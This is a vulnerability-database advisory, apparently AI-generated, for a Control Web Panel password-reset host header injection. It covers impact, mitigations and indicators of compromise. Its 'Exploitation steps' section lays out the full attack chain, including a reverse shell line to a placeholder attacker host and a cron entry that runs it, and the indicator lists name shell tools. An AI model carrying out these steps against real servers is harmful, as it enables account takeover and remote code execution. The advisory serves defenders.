Vulnerability DatabaseCVE-2026-124020

CVE-2026-124020: 
Control Web Panel vulnerability analysis and mitigation

Overview

CVE-2026-124020 is a host header injection vulnerability in Control Web Panel (CWP) affecting all versions before webpanel_version 1.30.6. The flaw allows unauthenticated remote attackers to manipulate the password-recovery reset URL by injecting a malicious HTTP Host header into the /v1/lostpass/ route's token generation process, ultimately enabling account takeover and remote code execution. It was published on November 13, 2026, with a GitHub Advisory added on November 14, 2026. The vulnerability carries a CVSS v3.1 base score of 8.1 (High) and a CVSS v4.0 base score of 9.2 (Critical) (GitHub Advisory, VulnCheck Advisory).

Technical details

The root cause is classified as CWE-640 (Weak Password Recovery Mechanism for Forgotten Password): CWP incorporates the HTTP Host header directly into the password-reset URL generated during the /v1/lostpass/ token creation process without validation or sanitization. An attacker submits a password-reset request with a forged Host header pointing to an attacker-controlled server; the resulting reset email sent to the victim contains a link referencing the attacker's host. If an automated mail-security scanner (or the victim) follows the poisoned link, the live recovery token (idsession) is exfiltrated to the attacker. The attacker then replays the token at /login/index.php?acc=newpass to set a new password, gaining authenticated panel access, and subsequently abuses the File Manager and Crontab modules to achieve command execution as the targeted hosting account (GitHub Advisory, VulnCheck Blog).

Impact

Successful exploitation results in full account takeover of the targeted CWP hosting account, with high confidentiality, integrity, and availability impact on the vulnerable system. An attacker who completes the chain gains an authenticated panel session, can upload arbitrary PHP files via the File Manager, and schedule their execution via Crontab — yielding a reverse shell running as the hosting account. While the initial shell is unprivileged, it can serve as a pivot point for privilege escalation, lateral movement to other accounts on the shared hosting system, or data exfiltration of hosted files and databases (GitHub Advisory, VulnCheck Blog).

Exploitability

Two public proof-of-concept exploits are available on GitHub. The first (fixedbyreboot/CVE-2026-124020-POC) implements the token-replay account takeover chain and has been verified against CWP webpanel 1.30.5. The second (LLCForge/CVE-2026-124020), rated high confidence, automates the full attack chain including host-header poisoning, token capture, password reset, PHP reverse shell upload via File Manager, and cron-based execution. As of the time of reporting, there is no evidence of active in-the-wild exploitation; the NVD SSVC assessment lists exploitation status as "poc." The EPSS score is approximately 0.65–0.77%, and the vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, VulnCheck Blog).

Exploitation steps

  1. Reconnaissance: Identify internet-facing CWP instances running versions before 1.30.6 using Shodan or Censys, targeting TCP ports 2083 (user panel) and 2304 (API). Enumerate valid hosting account username/email pairs using the oracle response from POST /login/index.php?acc=lostpass (response 1 confirms a valid pair, 0 rejects).
  2. Set up token capture listener: Start an HTTP listener on an attacker-controlled host and port (e.g., 0.0.0.0:8080) to capture incoming GET requests containing the idsession recovery token.
  3. Poison the password-reset request: Send a POST request to https://TARGET:2083/login/index.php?acc=lostpass (or https://TARGET:2304/v1/lostpass/) with the target's username and email in the body, and a forged Host: attacker-host:8080 header. CWP copies the HTTP Host header into the reset URL embedded in the recovery email.
  4. Capture the recovery token: When the victim's mail security scanner (or the victim themselves) follows the poisoned reset link, the GET request hits the attacker's listener. Extract the idsession token value from the URL using a regex such as [?&]idsession=([A-Za-z0-9]+).
  5. Reset the account password: Replay the captured token by sending GET https://TARGET:2083/login/index.php?acc=newpass&idsession=<TOKEN> to fetch the reset form, then POST back with an attacker-chosen password to complete the password change.
  6. Authenticate to the panel: Log in to https://TARGET:2083/login/index.php?acc=login with the target username and new password to obtain an authenticated session.
  7. Upload PHP reverse shell via File Manager: POST a PHP reverse shell payload (e.g., bash -i >& /dev/tcp/LHOST/LPORT 0>&1 wrapped in PHP) to {panel_path}/index.php?module=filemanager&acc=upload, placing it in the account's ~/tmp/ directory.
  8. Schedule execution via Crontab: POST to {panel_path}/index.php?module=crontab&acc=add with a cron entry (* * * * * /usr/local/bin/php /path/to/shell.php) to execute the payload every minute.
  9. Receive reverse shell: Within 60 seconds, the cron job executes the PHP callback, establishing a reverse bash shell to the attacker's listener running as the hosting account (VulnCheck Blog, GitHub Advisory).

Indicators of compromise

  • Network: Inbound POST requests to /login/index.php?acc=lostpass or /v1/lostpass/ with a Host header that does not match the server's actual hostname or IP; outbound connections from the CWP server to unexpected external IPs on non-standard ports (reverse shell callback); GET requests to /login/index.php?acc=newpass&idsession=<hex> from IP addresses not associated with the account owner.
  • Logs: CWP access logs showing password-reset requests with anomalous Host header values; multiple rapid password-reset requests for the same account from different source IPs; successful login events immediately following a password-reset flow from an unfamiliar IP address.
  • File System: Unexpected PHP files (e.g., with random names) appearing in hosting account ~/tmp/ or web-accessible directories; PHP files containing bash -i, /dev/tcp/, or base64-encoded payloads.
  • Process: New cron jobs added to the hosting account's crontab referencing PHP files in temporary directories; unusual child processes spawned by PHP (e.g., /bin/bash, curl, wget) connecting outbound to non-standard ports.
  • Crontab: Entries with * * * * * scheduling (every minute) pointing to PHP scripts in user home or temp directories (VulnCheck Blog, GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade Control Web Panel to version 1.30.6 or later, which addresses the host header injection in the password-recovery flow (CWP Changelog, GitHub Advisory). As interim workarounds: implement WAF rules to reject or normalize requests where the Host header does not match the server's configured hostname; restrict access to the /v1/lostpass/ and /login/index.php?acc=lostpass endpoints by IP allowlist where feasible; enable multi-factor authentication or additional verification steps for account recovery; and monitor password-reset logs for anomalous Host header values. Administrators should also audit existing crontab entries and File Manager uploads for signs of prior compromise (VulnCheck Advisory).

Community reactions

VulnCheck published both a technical advisory and a detailed blog post analyzing the vulnerability chain, including the role of automated mail-security scanners in token exfiltration (VulnCheck Blog). Security researcher Chocapikk published an independent technical write-up covering the recovery-code-to-RCE chain (Chocapikk Blog). Community discussion appeared on Infosec.exchange (Mastodon), and ThreatCluster aggregated coverage under a cluster titled "Critical CVE-2026 flaws in Control Web Panel lead to account takeover." A Hashnode post by Damiano Bianda drew broader lessons from the twin CWP flaws regarding API key design and recovery token security.

Additional resources


Source: This report was generated using AI

Related Control Web Panel vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-124021CRITICAL9.2
  • Control Web Panel logoControl Web Panel
  • cpe:2.3:a:control-webpanel:webpanel
NoYesNov 13, 2026
CVE-2026-124020CRITICAL9.2
  • Control Web Panel logoControl Web Panel
  • cpe:2.3:a:control-webpanel:webpanel
NoYesNov 13, 2026
CVE-2026-77880HIGH8.5
  • Control Web Panel logoControl Web Panel
  • cpe:2.3:a:control-webpanel:webpanel
NoYesNov 02, 2026
CVE-2026-77879HIGH8.4
  • Control Web Panel logoControl Web Panel
  • cpe:2.3:a:control-webpanel:webpanel
NoYesNov 02, 2026
CVE-2026-77881MEDIUM6.8
  • Control Web Panel logoControl Web Panel
  • cpe:2.3:a:control-webpanel:webpanel
NoYesNov 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management